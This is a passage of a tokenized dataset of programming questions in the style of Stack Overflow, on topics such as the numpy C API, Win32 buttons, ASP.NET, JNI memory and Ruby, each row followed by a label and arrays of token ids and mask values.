numpy.zeros((3,), dtype=[('a', 'i4'), ('b', 'U5')])
How do I do the same from a C program? I suppose I have to call `PyArray_SimpleNewFromDescr(nd, dims, descr)`, but how do I construct a `PyArray_Descr` that is appropriate for passing as the third argument to `PyArray_SimpleNewFromDescr`? | 0 | [
2,
184,
20,
1600,
21,
13,
6336,
6448,
571,
7718,
37,
272,
800,
3726,
3726,
27,
14,
20059,
270,
15,
31,
92,
1600,
78,
13,
6336,
6448,
571,
7718,
18,
28,
2415,
45,
13,
6336,
6448,
9,
15938,
18,
5,
5,
240,
15,
6,
15,
13,
43,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to remove black border around button in group box?
===
When I enable common control visual style support (InitCommonControls()) and I am using any theme other then Windows Class Theme, buttons inside a group box appear with a black border with square corners.
Windows Classic Theme appears normal, as well as when I turn off visual styling.
I am using the following code:
group_box = CreateWindow(TEXT("BUTTON"), TEXT("BS_GROUPBOX"),
WS_CHILD | WS_VISIBLE | BS_GROUPBOX | WS_GROUP,
10, 10, 200, 300,
hwnd, NULL, hInstance, 0);
push_button = CreateWindow(TEXT("BUTTON"), TEXT("BS_PUSHBUTTON"),
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
40, 40, 100, 22,
group_box, NULL, hInstance, 0);
The black borders only appear around buttons, as I have tried check boxes and radio buttons and they appear normal.
| 0 | [
2,
184,
20,
4681,
319,
1862,
140,
5167,
19,
214,
1649,
60,
800,
3726,
3726,
76,
31,
9240,
757,
569,
3458,
1034,
555,
13,
5,
108,
242,
17130,
12898,
18,
5,
6,
6,
17,
31,
589,
568,
186,
3184,
89,
94,
1936,
718,
3184,
15,
12861,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Whats the best way to programatically add a .swf to an asp.net page?
===
Is there a good way to add a .swf programatically to a panel on an asp.net page - ie: I know i could just insert the html tags:
ie:
<object type="application/x-shockwave-flash" data="yourflash.swf" width="" height="">
<param name="movie" value="yourflash.swf">
</object>
But is there an existing .net or free FLASH component already that you just set the properties on, or do i need to create a custom web control myself (not preferred) so i dont have to continously do this?
Thank you. | 0 | [
2,
98,
18,
14,
246,
161,
20,
625,
721,
8438,
3547,
21,
13,
9,
18,
15263,
20,
40,
28,
306,
9,
2328,
2478,
60,
800,
3726,
3726,
25,
80,
21,
254,
161,
20,
3547,
21,
13,
9,
18,
15263,
625,
721,
8438,
20,
21,
4113,
27,
40,
28,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
I can swear i once did " new Literal("<b>hello there</b>");
===
I could have sworn i have done this somewhere - im using 2.0 right now - was this something i found in a later version? IE: pass the content of a Literal in the constructor
I remember myself saying 'huh, and all this time i created a new instance and then set the text property' - or did I go to sleep drunk that night? And if not, WHY NOT!!!
| 0 | [
2,
31,
92,
6688,
31,
382,
144,
13,
7,
78,
20665,
5,
7,
1,
220,
1,
11515,
80,
1,
118,
220,
1,
7,
6,
73,
800,
3726,
3726,
31,
110,
57,
11013,
31,
57,
677,
48,
3493,
13,
8,
797,
568,
172,
9,
387,
193,
130,
13,
8,
23,
48,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Adding "active" tag to navigation list in an asp.net mvc master page
===
In the default asp.net mvc project, in the Site.Master file, there is a menu navigation list:
<div id="menucontainer">
<ul id="menu">
<li><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
This renders in the browser to:
<div id="menucontainer">
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
I want to be able to dynamically set the active list item, based on the view that is being called. That is, when the user is looking at the home page, I would want the following HTML to be created:
<div id="menucontainer">
<ul id="menu">
<li class="active"><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
I would expect that the way to do this would be something like:
<div id="menucontainer">
<ul id="menu">
<li <% if(actionName == "Index"){%> class="active"<%}%>><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li <% if(actionName == "About"){%> class="active"<%}%>><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
The key bit here is the `<% if(actionName == "Index"){%> class="active"<%}%>` line. I do not know how to determine what the current actionName is.
Any suggestions on how to do this? Or, if I'm on completely the wrong track, is there a better way to do this? | 0 | [
2,
4721,
13,
7,
7889,
7,
3383,
20,
8368,
968,
19,
40,
28,
306,
9,
2328,
307,
8990,
1129,
2478,
800,
3726,
3726,
19,
14,
12838,
28,
306,
9,
2328,
307,
8990,
669,
15,
19,
14,
689,
9,
4594,
3893,
15,
80,
25,
21,
11379,
8368,
96... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Resharper memory usage in visual studio 2008
===
Can you suggest some ways/tips to decrease Resharper memory usage in VS 2008. Working set memory for my VS with 50 projects is around 650mb+ | 0 | [
2,
302,
23646,
106,
1912,
7514,
19,
3458,
1120,
570,
800,
3726,
3726,
92,
42,
5601,
109,
2847,
118,
10169,
18,
20,
9826,
302,
23646,
106,
1912,
7514,
19,
4611,
570,
9,
638,
309,
1912,
26,
51,
4611,
29,
1222,
2314,
25,
140,
13,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Loading ActiveX object on Flex application html page
===
I am attempting to load an activex object on the same page where my flex application resides. Is this possible? Can I have 2 object tags on one page?
As of right now the flex application loads fine but when I attempt to access the activeX control it says its null. But if I have the same activex control on its own webpage it works perfectly fine.
Any Ideas?
Thanks in advance. | 0 | [
2,
12797,
1348,
396,
3095,
27,
14409,
3010,
13,
15895,
2478,
800,
3726,
3726,
31,
589,
6314,
20,
6305,
40,
1348,
396,
3095,
27,
14,
205,
2478,
113,
51,
14409,
3010,
12631,
9,
25,
48,
938,
60,
92,
31,
57,
172,
3095,
3383,
18,
27,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Parsing Atom & RSS in Ruby/Rails?
===
I'm looking for something that will let me parse Atom and RSS in Ruby and Rails. I've looked at the standard RSS library, but is there one library that will auto-detect whatever type of feed it is and parse it for me? | 0 | [
2,
2017,
18,
68,
14571,
279,
13,
1224,
18,
19,
10811,
118,
7301,
18,
60,
800,
3726,
3726,
31,
22,
79,
699,
26,
301,
30,
129,
408,
55,
2017,
870,
14571,
17,
13,
1224,
18,
19,
10811,
17,
2240,
18,
9,
31,
22,
195,
292,
35,
14,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
The best way to familiarize yourself with an inherited codebase
===
Stacker Nobody asked about the <a href="http://stackoverflow.com/questions/214452/what-surprised-you-the-most-about-the-software-industry">most shocking thing new programmers find as they enter the field</a>.
Very high on the list, is the impact of inheriting a codebase with which one must rapidly become acquainted. It can be quite a shock to suddenly find yourself charged with maintaining N lines of code that has been clobbered together for who knows how long, and to have a short time in which to start contributing to it.
How do you efficiently absorb all this new data? What eases this transition? Is the only real solution to have already contributed to enough open-source projects that the shock wears off?
This also applies to veteran programmers. What techniques do you use to ease the transition into a new codebase?
I added the Community-Building tag to this because I'd also like to hear some war-stories about these transitions. Feel free to share how you handled a particularly stressful learning curve.
| 0 | [
2,
14,
246,
161,
20,
3694,
2952,
2834,
29,
40,
7179,
1797,
8436,
800,
3726,
3726,
7566,
106,
5908,
411,
88,
14,
13,
1,
58,
746,
14057,
3726,
7,
21127,
6903,
25325,
2549,
9990,
9,
960,
118,
24652,
18,
118,
19029,
2520,
9298,
608,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why do images for textures on the iPhone need to have power-of-two dimensions?
===
I'm trying to solve this flickering problem on the iphone (open gl es game). I have a few images that don't have pow-of-2 dimensions. I'm going to replace them with images with appropriate dimensions... but why do the dimensions need to be powers of two? | 0 | [
2,
483,
107,
3502,
26,
12714,
18,
27,
14,
21024,
376,
20,
57,
414,
8,
1041,
8,
3734,
9913,
60,
800,
3726,
3726,
31,
22,
79,
749,
20,
8402,
48,
22399,
1448,
27,
14,
21024,
13,
5,
10157,
13,
8430,
13,
160,
250,
6,
9,
31,
57,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Will Google Andriod ever support .NET?
===
Now that the G1 with Google's Android OS is now available (soon), will the android platform ever support .Net? | 4 | [
2,
129,
8144,
17,
5741,
43,
462,
555,
13,
9,
2328,
60,
800,
3726,
3726,
130,
30,
14,
489,
165,
29,
8144,
22,
18,
13005,
13,
759,
25,
130,
904,
13,
5,
18,
5709,
6,
15,
129,
14,
13005,
2452,
462,
555,
13,
9,
2328,
60,
3,
0,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
In Visual Studio, my design view doesn't load the master page controls. Why?
===
It's just so much HRESULT E_FAIL, if you know what I'm talking about. And if you use Visual Studio, you know what I'm talking about.
Similar thread, but not a duplicate: [Is the design view for aspx pages in Visual Studio useful?][1]
[1]: http://stackoverflow.com/questions/196001/is-the-design-view-for-aspx-pages-in-visual-studio-useful
Any insight, including input from Microsoft MVPs (oh, I know you're out there) would be super cool. (BTW and OT, on balance, I like Microsoft much more than I dislike them). | 0 | [
2,
19,
3458,
1120,
15,
51,
704,
1418,
1437,
22,
38,
6305,
14,
1129,
2478,
8671,
9,
483,
60,
800,
3726,
3726,
32,
22,
18,
114,
86,
212,
746,
29955,
13,
62,
1,
24910,
15,
100,
42,
143,
98,
31,
22,
79,
1582,
88,
9,
17,
100,
4... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
RIAA in Ruby (Or, How to Manage Resources in Ruby)
===
I know it's by design that you can't control what happens when an object is destroyed. I am also aware of defining some class method as a finalizer.
However is the ruby idiom for C++'s RIAA (Resources are initialized in constructor, closed in destructor)? How do people manage resources used inside objects even when errors or exceptions happen?
| 0 | [
2,
13,
2548,
58,
19,
10811,
13,
5,
248,
15,
184,
20,
4705,
2566,
19,
10811,
6,
800,
3726,
3726,
31,
143,
32,
22,
18,
34,
704,
30,
42,
92,
22,
38,
569,
98,
5531,
76,
40,
3095,
25,
2183,
9,
31,
589,
67,
3854,
16,
14684,
109,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to add XML serialization instructions without modifying the class
===
Is there a clever way of adding XML serialization instructions without modifying the serialized class?
I don’t like the default serialization and I can’t modify the class. I was considering inheriting the class, and using Shadows (VB.NET) to re-implement the properties (with the serialization instructions), but it results in a lot of duplicate code and just looks terrible.
The ideal solution I'm looking for is basically a method to keep all the serialization instructions in a separate file. | 0 | [
2,
184,
20,
3547,
23504,
5956,
1829,
7650,
366,
17579,
68,
14,
718,
800,
3726,
3726,
25,
80,
21,
11994,
161,
16,
4721,
23504,
5956,
1829,
7650,
366,
17579,
68,
14,
27877,
718,
60,
31,
221,
1,
38,
101,
14,
12838,
5956,
1829,
17,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Java BlockingQueue of Size=1?
===
Essentially what I want is a BlockingQueue of size=1. I have a "listener" thread that simply waits, blocking until an object is put into the queue, and then retrieves it--and a "producer" thread that actually puts the object into the queue.
I can implement this with some synchronized blocks and a BlockingQueue implementation, but that seems like overkill. Is there a better, simpler way to do what I want? | 0 | [
2,
8247,
11828,
2005,
4185,
16,
1072,
3726,
165,
60,
800,
3726,
3726,
7398,
98,
31,
259,
25,
21,
11828,
2005,
4185,
16,
1072,
3726,
165,
9,
31,
57,
21,
13,
7,
13891,
106,
7,
9322,
30,
1659,
1760,
18,
15,
11828,
163,
40,
3095,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Saving an array of colour data as a PNG file on DS
===
I'm looking for a library to save an array of colour data to a PNG file. (That's all there is to it, right? I know very little about the internals of a PNG.)
This is for use in Nintendo DS development, so something lightweight is preferable. I don't need any other fancy features like rotation, etc. | 0 | [
2,
7599,
40,
7718,
16,
4609,
1054,
28,
21,
351,
2723,
3893,
27,
13,
43,
18,
800,
3726,
3726,
31,
22,
79,
699,
26,
21,
1248,
20,
2079,
40,
7718,
16,
4609,
1054,
20,
21,
351,
2723,
3893,
9,
13,
5,
887,
22,
18,
65,
80,
25,
20... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why does the .Net framework guidelines recommend that you don't use ref/out arguments?
===
Apparantly, they're "confusing". Is that seriously the reason? Can you think of any others? | 0 | [
2,
483,
630,
14,
13,
9,
2328,
6596,
12629,
12360,
30,
42,
221,
22,
38,
275,
13,
14057,
118,
1320,
10553,
60,
800,
3726,
3726,
13,
18303,
7874,
102,
15,
59,
22,
99,
13,
7,
14093,
12655,
7,
9,
25,
30,
4818,
14,
1215,
60,
92,
4... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
What are some arguments against using Continuous Integration?
===
I can think of plenty of good reasons to using it; however, what are the downsides to it?
(Apart from buying another server)
What are some advantages to using a daily build instead of it? | 0 | [
2,
98,
50,
109,
10553,
149,
568,
6357,
8078,
60,
800,
3726,
3726,
31,
92,
277,
16,
7062,
16,
254,
2932,
20,
568,
32,
73,
207,
15,
98,
50,
14,
125,
1416,
18,
20,
32,
60,
13,
5,
58,
3091,
37,
9459,
226,
8128,
6,
98,
50,
109,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0... |
File Path/size in C#
===
How to get the File Directory of a file (C:\myfolder\subfoler\mydoc.pdf). I also want to add the size of the subfolders, and finally the main folder size. This is for a .NET CLR that I need to integrate with SQL Server 2005 for a SSRS report.
Thanks. | 0 | [
2,
3893,
2013,
118,
10454,
19,
272,
5910,
800,
3726,
3726,
184,
20,
164,
14,
3893,
16755,
16,
21,
3893,
13,
5,
150,
45,
1,
915,
8814,
106,
1,
7563,
4120,
1252,
1,
915,
13799,
9,
11124,
6,
9,
31,
67,
259,
20,
3547,
14,
1072,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
JNI memory management using the Invocation API
===
When I'm building a java object using JNI methods, in order to pass it in as a parameter to a java method I'm invoking using the JNI invocation API, how do I manage its memory?
Here's what I am working with:
I have a C object that has a destructor method that is more complex that `free()`. This C object is to be associated with a Java object, and once the application is finished with the Java object, I have no more need for the C object.
I am creating the Java object like so (error checking elided for clarity):
c_object = c_object_create ();
class = (*env)->FindClass (env, "my.class.name");
constructor = (*env)->GetMethodID (env, class, "<init>", "(J)V");
instance = (*env)->NewObject (env, class, constructor, (jlong) c_object);
method = (*env)->GetMethodID (env, other_class, "doSomeWork", "(Lmy.class.name)V");
(*env)->CallVoidMethod (env, other_class, method, instance);
So, now that I'm done with `instance`, what do I do with it? Ideally, I'd like to leave the garbage collection up to the VM; when it's done with `instance` it would be fantastic if it also called `c_object_destroy()` on the pointer I provided to it. Is this possible?
A separate, but related question has to do with the scope of Java entities that I create in a method like this; do I have to manually release, say, `class`, `constructor`, or `method` above? The JNI doc is frustratingly vague (in my judgement) on the subject of proper memory management. | 0 | [
2,
487,
889,
1912,
1097,
568,
14,
19,
2625,
16893,
21,
2159,
800,
3726,
3726,
76,
31,
22,
79,
353,
21,
8247,
3095,
568,
487,
889,
3195,
15,
19,
389,
20,
1477,
32,
19,
28,
21,
18906,
20,
21,
8247,
2109,
31,
22,
79,
19,
2625,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Why does pointer changes itself during function transistion.
===
In the following case I'm calling a Func with pointer passed to it but in called function parameter shows the pointer value totally something bogus. Something like below.
bool flag = Func(pfspara);--> pfspara = 0x0091d910
bool Func(PFSPARA pfspara) --> pfspara = 0x00000005
{
return false;
}
why does pfspara change to some bogus pointer? I don't repro the problem in debug but only in ship.
thx, | 0 | [
2,
483,
630,
454,
106,
1693,
